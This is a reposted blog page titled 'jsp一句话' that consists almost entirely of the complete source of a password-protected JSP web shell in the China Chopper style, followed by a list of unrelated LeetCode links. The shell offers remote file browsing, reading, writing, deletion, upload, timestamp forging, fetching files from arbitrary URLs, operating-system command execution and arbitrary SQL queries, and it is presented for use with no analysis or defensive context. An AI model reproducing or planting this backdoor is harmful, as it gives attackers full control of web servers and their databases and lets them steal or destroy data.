zoukankan      html  css  js  c++  java
  • jsp一句话

    <%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
    <%!
    String Pwd="1.2.3";
    String EC(String s,String c)throws Exception{return new String(s.getBytes("ISO-8859-1"),c);}
    Connection GC(String s)throws Exception{String[] x=s.trim().split(" ");Class.forName(x[0].trim()).newInstance();
    Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}
    void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}
    void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt;
    SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0;i<l.length;i++){dt=new java.util.Date(l[i].lastModified());
    sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ+=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/ "+sT+" "+l[i].length()+" "+sQ+" ");}
    else{sF+=l[i].getName()+" "+sT+" "+l[i].length()+" "+sQ+" ";}}sb.append(sF);}
    void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();
    for(int k=0;k<x.length;k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}
    void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();
    ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
    os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}
    void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();
    FileOutputStream os=new FileOutputStream(f);for(int i=0;i<d.length();i+=2)
    {os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));}os.close();}
    void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();
    for(int j=0;j<z.length;j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}
    }else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);
    int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}
    void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}
    void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}
    void LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d);
    HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];
    while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}
    void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));
    while((l=br.readLine())!=null){sb.append(l+" ");}}
    void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs();
    while(r.next()){sb.append(r.getString(1)+" ");}r.close();c.close();}
    void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={"TABLE"};ResultSet r=c.getMetaData().getTables (null,null,"%",t);
    while(r.next()){sb.append(r.getString("TABLE_NAME")+" ");}r.close();c.close();}
    void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split(" ");Connection c=GC(s);
    Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[3]);ResultSetMetaData d=r.getMetaData();
    for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+") ");}r.close();m.close();c.close();}
    void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008);
    try{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i<=n;i++){sb.append(d.getColumnName(i)+" | ");
    }sb.append(" ");while(r.next()){for(i=1;i<=n;i++){sb.append(EC(r.getString(i),cs)+" | ");}sb.append(" ");}r.close();}
    catch(Exception e){sb.append("Result | ");try{m.executeUpdate(q);sb.append("Execute Successfully! | ");
    }catch(Exception ee){sb.append(ee.toString()+" | ");}}m.close();c.close();}
    %><%
    String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs);
    String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs);
    StringBuffer sb=new StringBuffer("");try{sb.append("X@Y");
    if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+" ");if(!s.substring(0,1).equals("/")){AA(sb);}}
    else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
    while((l=br.readLine())!=null){sb.append(l+" ");}br.close();}
    else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
    bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}
    else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}
    else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}
    else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);
    MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}
    else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}
    }catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("X@Y");out.print(sb.toString());
    %>

  • 相关阅读:
    LeetCode 769. Max Chunks To Make Sorted
    LeetCode 845. Longest Mountain in Array
    LeetCode 1059. All Paths from Source Lead to Destination
    1129. Shortest Path with Alternating Colors
    LeetCode 785. Is Graph Bipartite?
    LeetCode 802. Find Eventual Safe States
    LeetCode 1043. Partition Array for Maximum Sum
    LeetCode 841. Keys and Rooms
    LeetCode 1061. Lexicographically Smallest Equivalent String
    LeetCode 1102. Path With Maximum Minimum Value
  • 原文地址:https://www.cnblogs.com/milantgh/p/5796431.html
Copyright © 2011-2022 走看看